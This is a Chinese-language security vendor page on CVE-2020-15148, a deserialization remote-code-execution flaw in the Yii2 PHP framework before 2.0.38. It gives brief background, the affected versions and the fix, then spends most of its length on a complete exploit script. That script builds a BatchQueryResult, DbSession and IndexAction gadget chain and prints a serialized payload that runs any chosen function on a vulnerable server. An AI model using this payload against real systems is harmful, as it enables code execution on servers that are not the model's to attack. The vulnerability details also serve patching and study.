您的需求已经提交,我们将在48小时内联系您
全国服务热线:400-1000-221
确定
免费享受企业级云安全服务
获取手机验证码
{{message}}
免费试用

CVE-2020-15148 Yii框架反序列化RCE利用链 exp

作者:
发布时间:2020-09-21

  简介

  如果在使用yii框架,并且在用户可以控制的输入处调用了unserialize()并允许特殊字符的情况下,会受到反序列化远程命令命令执行漏洞攻击。

  该漏洞只是php 反序列化的执行链,必须要配合unserialize函数才可以达到任意代码执行的危害。

  该反序列化执行链在今年8月初已经公开,建议使用yii框架的同学排查

  影响范围

  Yii2 <2.0.38

  修复方案

  

 

  目前官方已经禁止BatchQueryResult类被反序列化

  exp

  

  namespace yii\rest {

  class Action extends \yii\base\Action

  {

  public $checkAccess;

  }

  class IndexAction extends Action

  {

  public function __construct($func, $param)

  {

  $this->checkAccess = $func;

  $this->id = $param;

  }

  }

  }

  namespace yii\web {

  abstract class MultiFieldSession

  {

  public $writeCallback;

  }

  class DbSession extends MultiFieldSession

  {

  public function __construct($func, $param)

  {

  $this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];

  }

  }

  }

  namespace yii\base {

  class BaseObject

  {

  //

  }

  class Action

  {

  public $id;

  }

  }

  namespace yii\db {

  use yii\base\BaseObject;

  class BatchQueryResult extends BaseObject

  {

  private $_dataReader;

  public function __construct($func, $param)

  {

  $this->_dataReader = new \yii\web\DbSession($func, $param);

  }

  }

  }

  $exp = new \yii\db\BatchQueryResult($func, $param);

  print(serialize($exp));

  参考

  https://github.com/yiisoft/yii2/commit/9abccb96d7c5ddb569f92d1a748f50ee9b3e2b99

  https://xz.aliyun.com/t/8082#toc-8

  https://github.com/AFKL-CUIT/phpggc/

标签: